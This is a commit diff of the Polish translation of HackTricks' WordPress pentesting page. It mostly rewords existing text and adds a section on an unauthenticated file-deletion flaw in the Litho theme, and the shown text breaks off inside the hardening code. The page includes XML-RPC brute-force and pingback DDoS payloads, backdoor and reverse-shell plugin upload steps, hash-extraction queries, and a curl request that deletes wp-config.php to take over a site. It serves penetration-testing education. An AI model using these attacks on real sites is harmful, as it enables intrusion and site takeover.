mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
08ddead068
commit
ecde0a78e9
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Podstawowe informacje
|
## Podstawowe informacje
|
||||||
|
|
||||||
- **Przesłane** pliki znajdują się w: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
- **Przesłane** pliki znajdują się pod adresem: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||||
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
|
|
||||||
- **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
- **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||||
@ -15,7 +15,7 @@
|
|||||||
### **Główne pliki WordPressa**
|
### **Główne pliki WordPressa**
|
||||||
|
|
||||||
- `index.php`
|
- `index.php`
|
||||||
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa.
|
- `license.txt` zawiera przydatne informacje, takie jak wersja zainstalowanego WordPressa.
|
||||||
- `wp-activate.php` jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress.
|
- `wp-activate.php` jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress.
|
||||||
- Foldery logowania (mogą być przemianowane, aby je ukryć):
|
- Foldery logowania (mogą być przemianowane, aby je ukryć):
|
||||||
- `/wp-admin/login.php`
|
- `/wp-admin/login.php`
|
||||||
@ -26,16 +26,16 @@
|
|||||||
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
|
- Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
|
||||||
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
|
- `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę.
|
||||||
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
- `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
||||||
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytalnymi typami postów i taksonomiami.
|
- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami.
|
||||||
|
|
||||||
**Post exploitation**
|
**Post eksploatacja**
|
||||||
|
|
||||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
|
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
|
||||||
|
|
||||||
### Uprawnienia użytkowników
|
### Uprawnienia użytkowników
|
||||||
|
|
||||||
- **Administrator**
|
- **Administrator**
|
||||||
- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami
|
- **Redaktor**: Publikuje i zarządza swoimi i innymi postami
|
||||||
- **Autor**: Publikuje i zarządza swoimi postami
|
- **Autor**: Publikuje i zarządza swoimi postami
|
||||||
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
|
- **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować
|
||||||
- **Subskrybent**: Przegląda posty i edytuje swój profil
|
- **Subskrybent**: Przegląda posty i edytuje swój profil
|
||||||
@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
|||||||
|
|
||||||
### Wtyczki i motywy
|
### Wtyczki i motywy
|
||||||
|
|
||||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
||||||
|
|
||||||
### Użytkownicy
|
### Użytkownicy
|
||||||
|
|
||||||
@ -103,7 +103,7 @@ Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowa
|
|||||||
|
|
||||||
Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
|
Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
|
||||||
|
|
||||||
- **Enumeracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
|
- **Enumaracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**.
|
||||||
|
|
||||||
### XML-RPC
|
### XML-RPC
|
||||||
|
|
||||||
@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W
|
|||||||
</params>
|
</params>
|
||||||
</methodCall>
|
</methodCall>
|
||||||
```
|
```
|
||||||
Również istnieje **szybszy sposób** na brute-force'owanie poświadczeń za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku poświadczeń w tym samym żądaniu:
|
Również istnieje **szybszy sposób** na brutalne łamanie haseł za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku haseł w tym samym żądaniu:
|
||||||
|
|
||||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Obejście 2FA**
|
**Obejście 2FA**
|
||||||
|
|
||||||
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne poświadczenia, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi poświadczeniami, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||||
|
|
||||||
**DDoS lub skanowanie portów**
|
**DDoS lub skanowanie portów**
|
||||||
|
|
||||||
Jeśli możesz znaleźć metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
|
Jeśli możesz znaleźć metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
|
||||||
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodowany jest **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
|
Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodując **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port).
|
||||||
```html
|
```html
|
||||||
<methodCall>
|
<methodCall>
|
||||||
<methodName>pingback.ping</methodName>
|
<methodName>pingback.ping</methodName>
|
||||||
@ -193,7 +193,7 @@ Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dost
|
|||||||
|
|
||||||
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
|
Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty.
|
||||||
|
|
||||||
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużywać tej metody, aby spowodować DDoS.
|
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak wykorzystać tę metodę do spowodowania DDoS.
|
||||||
|
|
||||||
**DDoS**
|
**DDoS**
|
||||||
```html
|
```html
|
||||||
@ -213,11 +213,11 @@ Ten plik zazwyczaj znajduje się w katalogu głównym witryny Wordpress: **`/wp-
|
|||||||
Gdy ten plik jest **dostępny**, wykonywane jest "**ciężkie**" zapytanie MySQL, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
|
Gdy ten plik jest **dostępny**, wykonywane jest "**ciężkie**" zapytanie MySQL, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\
|
||||||
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda jakiejkolwiek strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
|
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda jakiejkolwiek strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
|
||||||
|
|
||||||
Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
|
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów).
|
||||||
|
|
||||||
### /wp-json/oembed/1.0/proxy - SSRF
|
### /wp-json/oembed/1.0/proxy - SSRF
|
||||||
|
|
||||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Worpress może wysłać do Ciebie żądanie.
|
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Wordpress może wysłać do Ciebie żądanie.
|
||||||
|
|
||||||
Oto odpowiedź, gdy to nie działa:
|
Oto odpowiedź, gdy to nie działa:
|
||||||
|
|
||||||
@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
|||||||
|
|
||||||
To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać.
|
To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać.
|
||||||
|
|
||||||
## Automatic Tools
|
## Narzędzia automatyczne
|
||||||
```bash
|
```bash
|
||||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
|||||||
```
|
```
|
||||||
## Uzyskaj dostęp przez nadpisanie bitu
|
## Uzyskaj dostęp przez nadpisanie bitu
|
||||||
|
|
||||||
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Można było więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`).
|
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) możesz zmienić 1 bit w dowolnym pliku wordpressa. Możesz więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zignorować operację NOT (`!`).
|
||||||
```php
|
```php
|
||||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||||
return new WP_Error(
|
return new WP_Error(
|
||||||
@ -269,7 +269,7 @@ to get a session.
|
|||||||
### PHP plugin
|
### PHP plugin
|
||||||
|
|
||||||
Możliwe, że można przesłać pliki .php jako wtyczkę.\
|
Możliwe, że można przesłać pliki .php jako wtyczkę.\
|
||||||
Utwórz swój php backdoor, używając na przykład:
|
Utwórz swój backdoor w PHP, używając na przykład:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -285,25 +285,25 @@ Kliknij na Procced:
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłaną powłokę:
|
Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłany shell:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Uzyskaj do niej dostęp, a zobaczysz URL do wykonania odwrotnej powłoki:
|
Uzyskaj do niego dostęp, a zobaczysz URL do wykonania reverse shell:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Uploading and activating malicious plugin
|
### Uploading and activating malicious plugin
|
||||||
|
|
||||||
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana z podatności i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten przeprowadza się przez pulpit WordPressa w następujący sposób:
|
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania web shell. Proces ten odbywa się przez pulpit WordPressa w następujący sposób:
|
||||||
|
|
||||||
1. **Pozyskanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB, jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
|
1. **Pozyskiwanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB jak [**tutaj**](https://www.exploit-db.com/exploits/36374).
|
||||||
2. **Instalacja wtyczki**:
|
2. **Instalacja wtyczki**:
|
||||||
- Przejdź do pulpitu WordPressa, a następnie do `Pulpit > Wtyczki > Prześlij wtyczkę`.
|
- Przejdź do pulpitu WordPressa, a następnie do `Dashboard > Plugins > Upload Plugin`.
|
||||||
- Prześlij plik zip pobranej wtyczki.
|
- Prześlij plik zip pobranej wtyczki.
|
||||||
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit.
|
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczki, musi być ona aktywowana przez pulpit.
|
||||||
4. **Eksploatacja**:
|
4. **Eksploatacja**:
|
||||||
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana z podatności.
|
- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna.
|
||||||
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
|
- Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny.
|
||||||
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
|
- Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress.
|
||||||
|
|
||||||
@ -315,14 +315,14 @@ Zawartość zawiera wizualne pomoce ilustrujące kroki w pulpicie WordPressa dot
|
|||||||
|
|
||||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:**
|
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:**
|
||||||
- _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie.
|
- _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie.
|
||||||
- _**(RCE) Przesyłanie złośliwej wtyczki (backdoor):**_ Prześlij swoją złośliwą wtyczkę (backdoor) do WordPressa.
|
- _**(RCE) Przesyłanie niestandardowej wtyczki (backdoor):**_ Prześlij swoją niestandardową wtyczkę (backdoor) do WordPressa.
|
||||||
- _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie.
|
- _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie.
|
||||||
- _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie.
|
- _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie.
|
||||||
- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów stron trzecich WordPressa.
|
- _**(Niestandardowe) Niestandardowe exploity:**_ Niestandardowe exploity dla wtyczek/motywów WordPressa innych firm.
|
||||||
|
|
||||||
## Post Exploitation
|
## Post Exploitation
|
||||||
|
|
||||||
Extract usernames and passwords:
|
Wyciągnij nazwy użytkowników i hasła:
|
||||||
```bash
|
```bash
|
||||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||||
```
|
```
|
||||||
@ -332,20 +332,20 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
|||||||
```
|
```
|
||||||
## Wordpress Plugins Pentest
|
## Wordpress Plugins Pentest
|
||||||
|
|
||||||
### Powierzchnia ataku
|
### Attack Surface
|
||||||
|
|
||||||
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa w celu znalezienia luk w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||||
|
|
||||||
- **`wp_ajax`**
|
- **`wp_ajax`**
|
||||||
|
|
||||||
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje użytkownikom, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiki, autoryzacji lub uwierzytelniania. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pomocą handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często zdarza się, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli).
|
||||||
|
|
||||||
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
|
To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
|
||||||
```php
|
```php
|
||||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||||
```
|
```
|
||||||
**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
|
**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezautoryzowanych).**
|
||||||
|
|
||||||
> [!OSTRZEŻENIE]
|
> [!OSTRZEŻENIE]
|
||||||
> Ponadto, jeśli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany, zazwyczaj nie sprawdza roli użytkownika. Tak więc użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań o wysokich uprawnieniach.
|
> Ponadto, jeśli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany, zazwyczaj nie sprawdza roli użytkownika. Tak więc użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań o wysokich uprawnieniach.
|
||||||
@ -362,13 +362,89 @@ $this->namespace, '/get/', array(
|
|||||||
)
|
)
|
||||||
);
|
);
|
||||||
```
|
```
|
||||||
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API.
|
||||||
|
|
||||||
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
|
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
|
||||||
|
|
||||||
- **Bezpośredni dostęp do pliku php**
|
- **Bezpośredni dostęp do pliku php**
|
||||||
|
|
||||||
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika.
|
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika.
|
||||||
|
|
||||||
|
### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0)
|
||||||
|
|
||||||
|
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pomocą haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **callback staje się dostępny dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
|
||||||
|
|
||||||
|
1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
|
||||||
|
2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz
|
||||||
|
3. **Ścisłą sanitację / walidację wejścia**.
|
||||||
|
|
||||||
|
Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony):
|
||||||
|
```php
|
||||||
|
function litho_remove_font_family_action_data() {
|
||||||
|
if ( empty( $_POST['fontfamily'] ) ) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||||||
|
$upload_dir = wp_upload_dir();
|
||||||
|
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||||||
|
$filesystem = Litho_filesystem::init_filesystem();
|
||||||
|
|
||||||
|
if ( file_exists( $srcdir ) ) {
|
||||||
|
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||||||
|
}
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||||
|
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||||
|
```
|
||||||
|
Problemy wprowadzone przez ten fragment:
|
||||||
|
|
||||||
|
* **Nieautoryzowany dostęp** – zarejestrowano hak `wp_ajax_nopriv_`.
|
||||||
|
* **Brak sprawdzenia nonce / uprawnień** – każdy odwiedzający może uzyskać dostęp do punktu końcowego.
|
||||||
|
* **Brak sanitizacji ścieżki** – ciąg `fontfamily` kontrolowany przez użytkownika jest łączony z ścieżką systemu plików bez filtrowania, co pozwala na klasyczne przejście `../../`.
|
||||||
|
|
||||||
|
#### Wykorzystanie
|
||||||
|
|
||||||
|
Napastnik może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
|
||||||
|
```bash
|
||||||
|
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||||
|
-d 'action=litho_remove_font_family_action_data' \
|
||||||
|
-d 'fontfamily=../../../../wp-config.php'
|
||||||
|
```
|
||||||
|
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` są wystarczające w domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do uruchomienia *kreatora instalacji* przy następnej wizycie, co umożliwia pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika administratora).
|
||||||
|
|
||||||
|
Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`.
|
||||||
|
|
||||||
|
#### Lista kontrolna wykrywania
|
||||||
|
|
||||||
|
* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||||
|
* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||||
|
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
|
||||||
|
|
||||||
|
#### Wzmacnianie
|
||||||
|
```php
|
||||||
|
function secure_remove_font_family() {
|
||||||
|
if ( ! is_user_logged_in() ) {
|
||||||
|
wp_send_json_error( 'forbidden', 403 );
|
||||||
|
}
|
||||||
|
check_ajax_referer( 'litho_fonts_nonce' );
|
||||||
|
|
||||||
|
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||||
|
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||||
|
|
